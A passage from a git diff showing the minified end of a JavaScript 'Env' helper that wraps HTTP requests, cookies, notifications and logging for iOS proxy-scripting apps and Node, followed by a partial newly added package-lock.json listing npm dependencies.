this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/package-lock.json b/Task/package-lock.json
new file mode 100644
index 0000000..afb2347
--- /dev/null
+++ b/Task/package-lock.json
@@ -0,0 +1,1490 @@
+{
+ "name": "LXK9301",
+ "version": "1.0.0",
+ "lockfileVersion": 1,
+ "requires": true,
+ "dependencies": {
+ "@sindresorhus/is": {
+ "version": "0.7.0",
+ "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.7.0.tgz",
+ "integrity": "sha512-ONhaKPIufzzrlNbqtWFFd+jlnemX6lJAgq9ZeiZtS7I1PIf/la7CW4m83rTXRnVnsMbW2k56pGYu7AUFJD9Pow=="
+ },
+ "@szmarczak/http-timer": {
+ "version": "4.0.5",
+ "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.5.tgz",
+ "integrity": "sha512-PyRA9sm1Yayuj5OIoJ1hGt2YISX45w9WcFbh6ddT0Z/0yaFxOtGLInr4jUfU1EAFVs0Yfyfev4RNwBlUaHdlDQ==",
+ "requires": {
+ "defer-to-connect": "^2.0.0"
+ }
+ },
+ "@types/cacheable-request": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.1.tgz",
+ "integrity": "sha512-ykFq2zmBGOCbpIXtoVbz4SKY5QriWPh3AjyU4G74RYbtt5yOc5OfaY75ftjg7mikMOla1CTGpX3lLbuJh8DTrQ==",
+ "requires": {
+ "@types/http-cache-semantics": "*",
+ "@types/keyv": "*",
+ "@types/node": "*",
+ "@types/responselike": "*"
+ }
+ },
+ "@types/http-cache-semantics": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.0.tgz",
+ "integrity": "sha512-c3Xy026kOF7QOTn00hbIllV1dLR9hG9NkSrLQgCVs8NF6sBU+VGWjD3wLPhmh1TYAc7ugCFsvHYMN4VcBN1U1A=="
+ },
+ "@types/keyv": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.1.tgz",
+ "integrity": "sha512-MPtoySlAZQ37VoLaPcTHCu1RWJ4llDkULYZIzOYxlhxBqYPB0RsRlmMU0R6tahtFe27mIdkHV+551ZWV4PLmVw==",
+ "requires": {
+ "@types/node": "*"
+ }
+ },
+ "@types/node": {
+ "version": "14.14.6",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.6.tgz",
+ "integrity": "sha512-6QlRuqsQ/Ox/aJEQWBEJG7A9+u7oSYl3mem/K8IzxXG/kAGbV1YPD9Bg9Zw3vyxC/YP+zONKwy8hGkSt1jxFMw=="
+ },
+ "@types/responselike": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz",
+ "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==",
+ "requires": {
+ "@types/node": "*"
+ }
+ },
+ "ajv": {
+ "version": "6.12.6",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+ "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+ "requires": {
+ "fast-deep-equal": "^3.1.1",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.4.1",
+ "uri-js": "^4.2.2"
+ }
+ },
+ "archive-type": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/archive-type/-/archive-type-4.0.0.tgz",
+ "integrity": "sha1-+S5yIzBW38aWlHJ0nCZ72wRrHXA=",
+ "requires": {
+ "file-type": "^4.2.0"
+ },
+ "dependencies": {
+ "file-type": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/file-type/-/file-type-4.4.0.tgz",
+ "integrity": "sha1-G2AOX8ofvcboDApwxxyNul95BsU="
+ }
+ }
+ },
+ "asn1": {
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz",
+ "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==",
+ "requires": {
+ "safer-buffer": "~2.1.0"
+ }
+ },
+ "assert-plus": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
+ "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU="
+ },
+ "async": {
+ "version": "2.6.3",
+ "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz",
+ "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==",
+ "requires": {
+ "lodash": "^4.17.14"
+ }
+ },
+ "asynckit": {
+ "version": "0.4.0",
+ "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
+ "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k="
+ },
+ "aws-sign2": {
+ "version": "0.7.0",
+ "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
+ "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg="
+ },
+ "aws4": {
+ "version": "1.11.0",
+ "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.11.0.tgz",
+ "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA=="
+ },
+ "base64-js": {
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.1.tgz",
+ "integrity": "sha512-mLQ4i2QO1ytvGWFWmcngKO//JXAQueZvwEKtjgQFM4jIK0kU+ytMfplL8j+n5mspOfjHwoAg+9yhb7BwAHm36g=="
+ },
+ "basic-auth": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-1.1.0.tgz",
+ "integrity": "sha1-RSIe5Cn37h5QNb4/UVM/HN/SmIQ="
+ },
+ "bcrypt-pbkdf": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
+ "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=",
+ "requires": {
+ "tweetnacl": "^0.14.3"
+ }
+ },
+ "bl": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.3.tgz",
+ "integrity": "sha512-pvcNpa0UU69UT341rO6AYy4FVAIkUHuZXRIWbq+zHnsVcRzDDjIAhGuuYoi0d//cwIwtt4pkpKycWEfjdV+vww==",
+ "requires": {
+ "readable-stream": "^2.3.5",
+ "safe-buffer": "^5.1.1"
+ }
+ },
+ "buffer": {
+ "version": "5.7.1",
+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
+ "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
+ "requires": {
+ "base64-js": "^1.3.1",
+ "ieee754": "^1.1.13"
+ }
+ },
+ "buffer-alloc": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz",
+ "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==",
+ "requires": {
+ "buffer-alloc-unsafe": "^1.1.0",
+ "buffer-fill": "^1.0.0"
+ }
+ },
+ "buffer-alloc-unsafe": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz",
+ "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg=="
+ },
+ "buffer-crc32": {
+ "version": "0.2.13",
+ "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz",
+ "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI="
+ },
+ "buffer-fill": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz",
+ "integrity": "sha1-+PeLdniYiO858gXNY39o5wISKyw="
+ },
+ "cacheable-lookup": {
+ "version": "5.0.3",
+ "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.3.tgz",
+ "integrity": "sha512-W+JBqF9SWe18A72XFzN/V/CULFzPm7sBXzzR6ekkE+3tLG72wFZrBiBZhrZuDoYexop4PHJVdFAKb/Nj9+tm9w=="
+ },
+ "cacheable-request": {
+ "version": "2.1.4",
+ "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-2.1.4.tgz",
+ "integrity": "sha1-DYCIAbY0KtM8kd+dC0TcCbkeXD0=",
+ "requires": {
+ "clone-response": "1.0.2",
+ "get-stream": "3.0.0",
+ "http-cache-semantics": "3.8.1",
+ "keyv": "3.0.0",
+ "lowercase-keys": "1.0.0",
+ "normalize-url": "2.0.1",
+ "responselike": "1.0.2"
+ },
+ "dependencies": {
+ "get-stream": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz",
+ "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ="
+ },
+ "lowercase-keys": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.0.tgz",
+ "integrity": "sha1-TjNms55/VFfjXxMkvfb4jQv8cwY="
+ }
+ }
+ },
+ "caseless": {
+ "version": "0.12.0",
+ "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
+ "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw="
+ },
+ "clone-response": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz",
+ "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=",
+ "requires": {
+ "mimic-response": "^1.0.0"
+ }
+ },
+ "colors": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz",
+ "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA=="
+ },
+ "combined-stream": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
+ "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+ "requires": {
+ "delayed-stream": "~1.0.0"
+ }
+ },
+ "commander": {
+ "version": "2.20.3",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+ "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
+ },
+ "content-disposition": {
+ "version": "0.5.3",
+ "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz",
+ "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==",
+ "requires": {
+ "safe-buffer": "5.1.2"
+ }
+ },
+ "core-util-is": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
+ "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac="
+ },
+ "corser": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/corser/-/corser-2.0.1.tgz",
+ "integrity": "sha1-jtolLsqrWEDc2XXOuQ2TcMgZ/4c="
+ },
+ "crypto-js": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.0.0.tgz",
+ "integrity": "sha512-bzHZN8Pn+gS7DQA6n+iUmBfl0hO5DJq++QP3U6uTucDtk/0iGpXd/Gg7CGR0p8tJhofJyaKoWBuJI4eAO00BBg=="
+ },
+ "dashdash": {
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
+ "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=",
+ "requires": {
+ "assert-plus": "^1.0.0"
+ }
+ },
+ "debug": {
+ "version": "3.2.6",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
+ "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
+ "requires": {
+ "ms": "^2.1.1"
+ }
+ },
+ "decode-uri-component": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz",
+ "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU="
+ },
+ "decompress": {
+ "version": "4.2.1",
+ "resolved": "https://registry.npmjs.org/decompress/-/decompress-4.2.1.tgz",
+ "integrity": "sha512-e48kc2IjU+2Zw8cTb6VZcJQ3lgVbS4uuB1TfCHbiZIP/haNXm+SVyhu+87jts5/3ROpd82GSVCoNs/z8l4ZOaQ==",
+ "requires": {
+ "decompress-tar": "^4.0.0",
+ "decompress-tarbz2": "^4.0.0",
+ "decompress-targz": "^4.0.0",
+ "decompress-unzip": "^4.0.1",
+ "graceful-fs": "^4.1.10",
+ "make-dir": "^1.0.0",
+ "pify": "^2.3.0",
+ "strip-dirs": "^2.0.0"
+ },
+ "dependencies": {
+ "make-dir": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz",
+ "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==",
+ "requires": {
+ "pify": "^3.0.0"
+ },
+ "dependencies": {
+ "pify": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
+ "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY="
+ }
+ }
+ },
+ "pify": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw="
+ }
+ }
+ },
+ "decompress-response": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz",
+ "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=",
+ "requires": {
+ "mimic-response": "^1.0.0"
+ }
+ },
+ "decompress-tar": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/decompress-tar/-/decompress-tar-4.1.1.tgz",
+ "integrity": "sha512-JdJMaCrGpB5fESVyxwpCx4Jdj2AagLmv3y58Qy4GE6HMVjWz1FeVQk1Ct4Kye7PftcdOo/7U7UKzYBJgqnGeUQ==",
+ "requires": {
+ "file-type": "^5.2.0",
+ "is-stream": "^1.1.0",
+ "tar-stream": "^1.5.2"
+ },
+ "dependencies": {
+ "file-type": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz",
+ "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY="
+ }
+ }
+ },
+ "decompress-tarbz2": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/decompress-tarbz2/-/decompress-tarbz2-4.1.1.tgz",
+ "integrity": "sha512-s88xLzf1r81ICXLAVQVzaN6ZmX4A6U4z2nMbOwobxkLoIIfjVMBg7TeguTUXkKeXni795B6y5rnvDw7rxhAq9A==",
+ "requires": {
+ "decompress-tar": "^4.1.0",
+ "file-type": "^6.1.0",
+ "is-stream": "^1.1.0",
+ "seek-bzip": "^1.0.5",
+ "unbzip2-stream": "^1.0.9"
+ },
+ "dependencies": {
+ "file-type": {
+ "version": "6.2.0",
+ "resolved": "https://registry.npmjs.org/file-type/-/file-type-6.2.0.tgz",
+ "integrity": "sha512-YPcTBDV+2Tm0VqjybVd32MHdlEGAtuxS3VAYsumFokDSMG+ROT5wawGlnHDoz7bfMcMDt9hxuXvXwoKUx2fkOg=="
+ }
+ }
+ },
+ "decompress-targz": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/decompress-targz/-/decompress-targz-4.1.1.tgz",
+ "integrity": "sha512-4z81Znfr6chWnRDNfFNqLwPvm4db3WuZkqV+UgXQzSngG3CEKdBkw5jrv3axjjL96glyiiKjsxJG3X6WBZwX3w==",
+ "requires": {
+ "decompress-tar": "^4.1.1",
+ "file-type": "^5.2.0",
+ "is-stream": "^1.1.0"
+ },
+ "dependencies": {
+ "file-type": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz",
+ "integrity": "sha1-LdvqfHP/42No365J3DOMBYwritY="
+ }
+ }
+ },
+ "decompress-unzip": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/decompress-unzip/-/decompress-unzip-4.0.1.tgz",
+ "integrity": "sha1-3qrM39FK6vhVePczroIQ+bSEj2k=",
+ "requires": {
+ "file-type": "^3.8.0",
+ "get-stream": "^2.2.0",
+ "pify": "^2.3.0",
+ "yauzl": "^2.4.2"
+ },
+ "dependencies": {
+ "file-type": {
+ "version": "3.9.0",
+ "resolved": "https://registry.npmjs.org/file-type/-/file-type-3.9.0.tgz",
+ "integrity": "sha1-JXoHg4TR24CHvESdEH1SpSZyuek="
+ },
+ "get-stream": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-2.3.1.tgz",
+ "integrity": "sha1-Xzj5PzRgCWZu4BUKBUFn+Rvdld4=",
+ "requires": {
+ "object-assign": "^4.0.1",
+ "pinkie-promise": "^2.0.0"
+ }
+ },
+ "pify": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw="
+ }
+ }
+ },
+ "defer-to-connect": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.0.tgz",
+ "integrity": "sha512-bYL2d05vOSf1JEZNx5vSAtPuBMkX8K9EUutg7zlKvTqKXHt7RhWJFbmd7qakVuf13i+IkGmp6FwSsONOf6VYIg=="
+ },
+ "delayed-stream": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
+ "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk="
+ },
+ "download": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/download/-/download-8.0.0.tgz",
+ "integrity": "sha512-ASRY5QhDk7FK+XrQtQyvhpDKanLluEEQtWl/J7Lxuf/b+i8RYh997QeXvL85xitrmRKVlx9c7eTrcRdq2GS4eA==",
+ "requires": {
+ "archive-type": "^4.0.0",
+ "content-disposition": "^0.5.2",
+ "decompress": "^4.2.1",
+ "ext-name": "^5.0.0",
+ "file-type": "^11.1.0",
+ "filenamify": "^3.0.0",
+ "get-stream": "^4.1.0",
+ "got": "^8.3.1",
+ "make-dir": "^2.1.0",
+ "p-event": "^2.1.0",
+ "pify": "^4.0.1"
+ },
+ "dependencies": {
+ "got": {
+ "version": "8.3.2",
+ "resolved": "https://registry.npmjs.org/got/-/got-8.3.2.tgz",
+ "integrity": "sha512-qjUJ5U/hawxosMryILofZCkm3C84PLJS/0grRIpjAwu+Lkxxj5cxeCU25BG0/3mDSpXKTyZr8oh8wIgLaH0QCw==",
+ "requires": {
+ "@sindresorhus/is": "^0.7.0",
+ "cacheable-request": "^2.1.1",
+ "decompress-response": "^3.3.0",
+ "duplexer3": "^0.1.4",
+ "get-stream": "^3.0.0",
+ "into-stream": "^3.1.0",
+ "is-retry-allowed": "^1.1.0",
+ "isurl": "^1.0.0-alpha5",
+ "lowercase-keys": "^1.0.0",
+ "mimic-response": "^1.0.0",
+ "p-cancelable": "^0.4.0",
+ "p-timeout": "^2.0.1",
+ "pify": "^3.0.0",
+ "safe-buffer": "^5.1.1",
+ "timed-out": "^4.0.1",
+ "url-parse-lax": "^3.0.0",
+ "url-to-options": "^1.0.1"
+ },
+ "dependencies": {
+ "get-stream": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz",
+ "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ="
+ },
+ "pify": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
+ "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY="
+ }
+ }
+ }
+ }
+ },
+ "duplexer3": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz",
+ "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI="
+ },
+ "ecc-jsbn": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz",
+ "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=",
+ "requires": {
+ "jsbn": "~0.1.0",
+ "safer-buffer": "^2.1.0"
+ }
+ },
+ "ecstatic": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/ecstatic/-/ecstatic-3.3.2.tgz",
+ "integrity": "sha512-fLf9l1hnwrHI2xn9mEDT7KIi22UDqA2jaCwyCbSUJh9a1V+LEUSL/JO/6TIz/QyuBURWUHrFL5Kg2TtO1bkkog==",
+ "requires": {
+ "he": "^1.1.1",
+ "mime": "^1.6.0",
+ "minimist": "^1.1.0",
+ "url-join": "^2.0.5"
+ }
+ },
+ "end-of-stream": {
+ "version": "1.4.4",
+ "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
+ "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
+ "requires": {
+ "once": "^1.4.0"
+ }
+ },
+ "escape-string-regexp": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+ "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ="
+ },
+ "eventemitter3": {
+ "version": "4.0.7",
+ "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz",
+ "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw=="
+ },
+ "ext-list": {
+ "version": "2.2.2",
+ "resolved": "https://registry.npmjs.org/ext-list/-/ext-list-2.2.2.tgz",
+ "integrity": "sha512-u+SQgsubraE6zItfVA0tBuCBhfU9ogSRnsvygI7wht9TS510oLkBRXBsqopeUG/GBOIQyKZO9wjTqIu/sf5zFA==",
+ "requires": {
+ "mime-db": "^1.28.0"
+ }
+ },
+ "ext-name": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/ext-name/-/ext-name-5.0.0.tgz",
+ "integrity": "sha512-yblEwXAbGv1VQDmow7s38W77hzAgJAO50ztBLMcUyUBfxv1HC+LGwtiEN+Co6LtlqT/5uwVOxsD4TNIilWhwdQ==",
+ "requires": {
+ "ext-list": "^2.0.0",
+ "sort-keys-length": "^1.0.0"
+ }
+ },
+ "extend": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
+ },
+ "extsprintf": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz",
+ "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU="
+ },
+ "fast-deep-equal": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
+ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
+ },
+ "fast-json-stable-stringify": {
+ "version": "2.1.0",
